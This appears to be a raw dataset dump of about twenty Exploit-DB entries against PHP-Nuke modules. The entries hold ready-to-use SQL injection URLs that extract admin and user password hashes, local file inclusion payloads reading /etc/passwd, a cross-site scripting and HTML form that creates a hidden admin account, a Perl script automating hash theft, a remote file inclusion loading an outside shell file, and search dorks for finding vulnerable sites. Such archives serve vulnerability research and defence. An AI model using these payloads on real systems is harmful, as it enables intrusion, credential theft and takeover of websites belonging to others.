deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11627
Description: PHP-Nuke CMS (Survey and Poll) - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-04
Author: SENOT

Exploit:
#############################################################################################################
## Tittle :PHPNUKE CMS ( Survey&poll ) SQLi Vulner                                                         ##
## Author : SENOT (selalungantuk_exe@yahoo.com)                                                            ##
## Homepage : http://www.indonesiancoder.com                                                               ##
## Date : Thursday  04 March, 2010                                                                         ##
## Location : - INDONESIA -                                                                                ##
#############################################################################################################
[+] CMS INFO
[+] Name : PHPNUKE CMS
[+] Vendor : http://phpnuke.org/
[+] Download : http://phpnuke.org/modules.php?name=Downloads
[+] Vulnerability : SQL
[+] Dork : "Dork Just for newbie"
#############################################################################################################

[ Vulnerable File ]

[+] http://127.0.0.1/[senot]/modules.php?name=Surveys&op=results&pollID=[INDONESIANCODER]


[ XpL ]

[+] +and+1=2+union+select+1,version(),3,4--


[ DEMO ]

[+] http://server/modules.php?name=Surveys&op=results&pollID=5+and+1=2+union+select+1,version%28%29,3,4--

[+] http://server/default.php?go=modules.php%3Fname%3DSurveys%26op%3Dresults%26pollID%3D132+and+1=2+union+select+1,version%28%29,3,4--

#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER - ServerIsDown - IndonesianHacker - SoldierOfAllah
[+] kaMtiEz,Tukulesto,M3NW5,arianom,gonzhack,tucker,saint
[+] B4YU5154,nuxdtyals,qu1ck_51lv3r,Mr.J0k3R,brandal_666
[+] elv1n4,Mr.fribo,Jack,VycOd,x-shadow,bobyhikaru,deril0101
[+] ex girlfriend ( you Are my Spirit )
[+] And you

[+] Get the codes and Feel the Soul ( INDONESIANCODER TEAM )
Exploit-DB #30614
Description: PHP-Nuke Dance Music Module - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-09-25
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/25806/info

Dance Music is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized remote user to view files and execute local scripts in the context of the webserver process. 

http://www.example.com/modules.php?name=Dance_Music-MM&page=1&ACCEPT_FILE[1]=../../../../../../../../../etc/passwd
Exploit-DB #31283
Description: PHP-Nuke Downloads Module - 'sid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27932/info

The Downloads module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=Downloads&d_op=viewsdownload&sid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/3333,aid/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201%200%202
http://www.example.com/modules.php?name=Downloads&d_op=viewsdownload&sid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/3333,pwd/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201%200%202
Exploit-DB #32747
Description: PHP-Nuke Downloads Module - 'url' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-23
Author: Sina Yazdanmehr

Exploit:
source: https://www.securityfocus.com/bid/33410/info

The Downloads module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Admin Username :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+a
id+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*

Admin Password :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+p
wd+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*

Users Username :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u
sername+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*

Users Password :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u
ser_password+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*
Exploit-DB #31702
Description: PHP-Nuke DownloadsPlus Module - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-04-24
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28919/info

The DownloadsPlus module for PHP-Nuke is prone to a vulnerability that lets remote attackers upload and execute arbitrary code because the application fails to sanitize user-supplied input. This issue permits attackers to upload arbitrary files with '.htm', '.html', or '.txt' extensions.

An attacker can leverage this issue to execute arbitrary code on an affected computer with the privileges of the webserver process.

Note that to exploit this issue, the attacker may require valid login credentials. 

http://www.example.com/phpnuke/upload_category/filename.html
Exploit-DB #31331
Description: PHP-Nuke eGallery 3.0 Module - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-04
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/28088/info

The eGallery module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/modules.php?name=eGallery&file=index&op=showpic&pid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202
Exploit-DB #23845
Description: PHP-Nuke Error Manager Module 2.1 - 'error.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-03-18
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9911/info
 
It has been reported that Error Manager is prone to multiple vulnerabilities. These issues are due to failure to validate user input, failure to handle exceptional conditions and simple design errors.
 
These issues may be leveraged to carry out cross-site scripting attacks, reveal information about the application configuration and initiate HTML injection attacks against the affected system.

http://www.example.com/nuke71/error.php?pagetitle=[xss code here]
http://www.example.com/nuke71/error.php?error=>[xss code here]

To leverage the HTML injection issue, write the following html file and use it against the affected web site. Once the admin views the error logs, an admin user will be created on the affected web site.

<HTML>
<HEAD><TITLE>Error Manager sploit</TITLE>
</HEAD>
<BODY bgcolor="#000000" text="#FFFFFF">
<br><br><br>
<center>

<FORM action="http://www.example.com/error.php" method="POST">

<input type="hidden" name="error" value="<img width='0' height='0' border='0'
src='http://www.victim.com/admin.php?op=AddAuthor&add_aid=attacker&add_name=God&add_[CREDENTIAL_REDACTED]_email=kala@hot.ee&add_radminsuper=1'></img>404">
<input type="submit" value="Attack">

</FORM>

</center>
<br><br><br>

</BODY>
</HTML>
Exploit-DB #23844
Description: PHP-Nuke Error Manager Module 2.1 - 'error.php?language' Full Path Disclosure
Type: webapps
Platform: php
Date: 2004-03-18
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9911/info

It has been reported that Error Manager is prone to multiple vulnerabilities. These issues are due to failure to validate user input, failure to handle exceptional conditions and simple design errors.

These issues may be leveraged to carry out cross-site scripting attacks, reveal information about the application configuration and initiate HTML injection attacks against the affected system.

http://www.example.com/nuke71/error.php?newlang=foobar
Exploit-DB #31289
Description: PHP-Nuke Gallery 1.3 Module - 'artid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-23
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27957/info

The Gallery module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Gallery 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/modules.php?name=Sections&sop=printpage&artid=-9999999/**/union/**/select/**/pwd,aid/**/from/**/nuke_authors/*where%20admin1/**
Exploit-DB #31377
Description: PHP-Nuke Hadith Module - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-10
Author: Lovebug

Exploit:
source: https://www.securityfocus.com/bid/28171/info

The Hadith module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?modules.php?modload&name=Hadith&file=index&action=viewcat&cat=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Caid%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
http://www.example.com/modules.php?modules.php?modload&name=Hadith&file=index&action=viewcat&cat=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
Exploit-DB #31322
Description: PHP-Nuke Johannes Hass 'Gaestebuch 2.2 Module - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-01
Author: TurkishWarriorr

Exploit:
source: https://www.securityfocus.com/bid/28063/info

The 'gaestebuch' module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects gaestebuch 2.2; other versions may also be affected. 

http://www.example.com/modules.php?name=gaestebuch_v22&amp;func=edit&amp;id=-1+union+all+select+1,1,1,aid,pwd+from+nuke_authors+where+radminsuper=1
Exploit-DB #32191
Description: PHP-Nuke Kleinanzeigen Module - 'lid' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-06
Author: Lovebug

Exploit:
source: https://www.securityfocus.com/bid/30577/info

The Kleinanzeigen module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=Kleinanzeigen&a_op=visit&lid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Caid%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
http://www.example.com/modules.php?name=Kleinanzeigen&a_op=visit&lid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
Exploit-DB #31344
Description: PHP-Nuke KutubiSitte Module - 'kid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-06
Author: r080cy90r

Exploit:
source: https://www.securityfocus.com/bid/28126/info

The KutubiSitte module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

#!/usr/bin/perl use Getopt::Std;
use LWP::UserAgent;

sub usg{
printf("


  -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
  |  PHP-NUKE  KutubiSitte [kid]  =>  SQL Injection   |
  -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
 #######################################################
 # Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 #
 #######################################################
<-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->->
#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#
#:-------------------------------------------------------:#
:#|                    USAGE:                           |#:
:#| exploit.pl -h [Hostname] -p [Path] -U [User_Id]     |#:
#:-------------------------------------------------------:#
#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#
#:-------------------------------------------------------:#
:#|                   EXAMPLE:                          |#:
:#|  exploit.pl -h http://site.com -p /php-nuke/ -U 1   |#:
#:-------------------------------------------------------:#
#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#


");
}
sub problem{
   print "\n\n[~] SITO NON VULNERABILE [~]\n\n";
   exit();
}
sub exploitation{
      $conn = LWP::UserAgent -> new;
   $conn->agent('Checkbot/0.4 ');
   $query_pwd =
$host.$path."modules.php?name=KutubiSitte&h_op=hadisgoster&kid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,4%2F%2A%2A%2Ffrom%2F%2A%2A%
2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D".$user_id."%2F%2A";
   $return_pwd = $conn->get($query_pwd) || problem();
   $return_pwd->content() =~ /([0-9,a-f]{32})/ || problem();
   print "\n \[~\] Admin Password(md5)=$user_id is: $1 \[~\]\n\n ";
  }

getopts(":h:p:U:",\%args);
    $host = $args{h} if (defined $args{h});
    $path = $args{p} if (defined $args{p});
    $user_id= $args{U}if (defined $args{U});
        if (!defined $args{h} || !defined $args{p} || !defined $args{U}){
       usg();
    }
    else{
       exploitation();
    }
Exploit-DB #15783
Description: PHP-Nuke MaticMarket 2.02 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-20
Author: xer0x

Exploit:
#MaticMarket 2.02 for PHP Nuke LFI Vulnerability
#Url: http://sourceforge.net/projects/maticmarket
#Author: xer0x
#Expl:
http://localhost/modules/maticmarket/deco/blanc/haut.php?modulename=../../../../../../../../../../../../../../etc/passwd%00
http://localhost/modules/maticmarket/deco/blanc/bas.php?modulename=../../../../../../../../../../../../../../etc/passwd%00
http://localhost/modules/maticmarket/bleu/blanc/haut.php?modulename=../../../../../../../../../../../../../../etc/passwd%00
http://localhost/modules/maticmarket/bleu/blanc/bas.php?modulename=../../../../../../../../../../../../../../etc/passwd%00
http://localhost/modules/maticmarket/bleu/default/haut.php?modulename=../../../../../../../../../../../../../../etc/passwd%00
http://localhost/modules/maticmarket/bleu/default/bas.php?modulename=../../../../../../../../../../../../../../etc/passwd%00
http://localhost/modules/maticmarket/bleu/gold/haut.php?modulename=../../../../../../../../../../../../../../etc/passwd%00
http://localhost/modules/maticmarket/bleu/gold/bas.php?modulename=../../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #19964
Description: PHP-Nuke module (SPChat) - SQL Injection
Type: webapps
Platform: php
Date: 2012-07-20
Author: Yakir Wizman

Exploit:
## Owner : Pr0T3cT10n
## Script site : http://www.phpnuke.org
## Script name : PHP-Nuke module(SPChat)
## Version : All
## Type : SQL Injection
## D0rk : inurl:name=SPChat

## Description :
    ## Pull out user details from the database

## Vuln :
    ## http://www.example.com/modules.php?op=modload&name=SPChat&file=chooser&youruid=[SQL Injection]
    ## http://www.example.com/modules.php?op=modload&name=SPChat&file=chooser&youruid=0+UNION+SELECT+pwd,2,3,4,5,6,7,8+FROM+nuke_authors+LIMIT+0,1

## NOTE :
    ## You need to be a regular user
Exploit-DB #5147
Description: PHP-Nuke Module books SQL - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-18
Author: S@BUN

Exploit:
###############################################################
#
# PHP-Nuke Module books SQL Injection(file)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: modules-php-op-modload "req view_cat"
#
###############################################################
example

http://www.xxxx/modules.php?op=modload&name=books&file=index&req=view_cat&cid= {exploit}


EXPLOIT 1 :

-90900%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/char(111,112,101,114,110,97,108,101,51),concat(pn_uname,0x3a,pn_pass)+from%2F%2A%2A%2Fnuke_users/*where%20admin%201=%201

EXPLOÄ°T 2 :

-90900%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/char(121,122,111,104,110,97,112,101,54),concat(pn_uname,0x3a,pn_pass)+from%2F%2A%2A%2FpostNuke_users/*where%20admin%201=%201


################################################################
# S@BUN           i AM NOT HACKER                S@BUN
################################################################

# milw0rm.com [2008-02-18]
Exploit-DB #5161
Description: PHP-Nuke Module Docum - 'artid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-20
Author: DamaR

Exploit:
#########################################################################

           php-nuke modules Docum remote sql inj
#########################################################################

Found:DamaR

By.Damar@Hotmail.Com

Hack Bitti ama DÃ¶nmek YakÄ±n  Since 2000
-------------------------------------------------------------------------------


/modules.php?name=Docum&op=viewarticle&artid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2

#########################################################################
Example: http://www.xxx.com.ar/mt/


#########################################################################

# milw0rm.com [2008-02-20]
Exploit-DB #5155
Description: PHP-Nuke Module EasyContent - 'page_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: Mehmet Ince

Exploit:
-------------------------------------------------------------------------------
php-nuke modules EasyContent remote sql inj
-------------------------------------------------------------------------------
found =xoron
-------------------------------------------------------------------------------
modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
-------------------------------------------------------------------------------
Example: http://eurowards.org/content/

not: password and username in title! colomb number 1

not2: Adam gibi bug bulunda dolanÄ±n ortalarda, istenilince ne kadar boÅŸ bug varsa bÃ¶le post edilir milw0rma.
iÅŸe yarar bug nasÄ±l hit yapÄ±yor gÃ¶rmek istiyorsanÄ±z

http://www.milw0rm.com/author/721

sadece bi bug 16000+  hit sadece milw0rm;)

Herzmn kral benimdir!
-------------------------------------------------------------------------------

# milw0rm.com [2008-02-19]
Exploit-DB #10615
Description: PHP-Nuke Module Emporium 2.3.0 - 'id_catg' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-23
Author: Hussin X

Exploit:
||| PHP-Nuke Module Emporium 2.3.0 (id_catg) SQL Injection Vulnerability
||   Author: Hussin X
||   Home :  WwW.IQ-TY.CoM<http://WwW.IQ-TY.CoM>
||   email:  darkangel_g85[at]Yahoo[DoT]com
||| DorK   : inurl:modules.php?name=Shopping_Cart
||| more
 Module's Name: Emporium
 Module's Version: 2.3.0
 Module's Description: eCommerce for PHP-Nuke.
 License: Burnwave Emporium License
 Author's Name: Michael Squires
 Module's Download  http://www.burnwave.com/


 Exploit
________

http://server/modules.php?name=Shopping_Cart&file=category&category_id=4+uNioN+sElEcT+'IQ-SecuritY',aid,pwd+from+nuke_authors--




end.

IQ-SecuritY FoRuM
Exploit-DB #3591
Description: PHP-Nuke Module Eve-Nuke 0.1 - 'mysql.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-27
Author: ThE TiGeR

Exploit:
#===========================================================================================
#Eve-NukePortal file include (phpbb_root_path)
#===========================================================================================
#
#Script name :Eve-Nuke Portal
#
#Download script : http://puzzle.dl.sourceforge.net/sourceforge/eve-nuke/en-forums-beta.zip
#
#===========================================================================================
#Vulnerable Code :
#
#require($phpbb_root_path . 'includes/functions_nuke.'.$phpEx);
#
#===========================================================================================
#Exploit :
#
#http://www.site.com/modules/EN-Forums/db/mysql.php?phpbb_root_path=http://www.site.com/shell.txt?
#
#===========================================================================================
#
#Discoverd By : ThE TiGeR
#
#Contact : miro_tiger100[at]hotmail[dot]com
#
#===========================================================================================

# milw0rm.com [2007-03-27]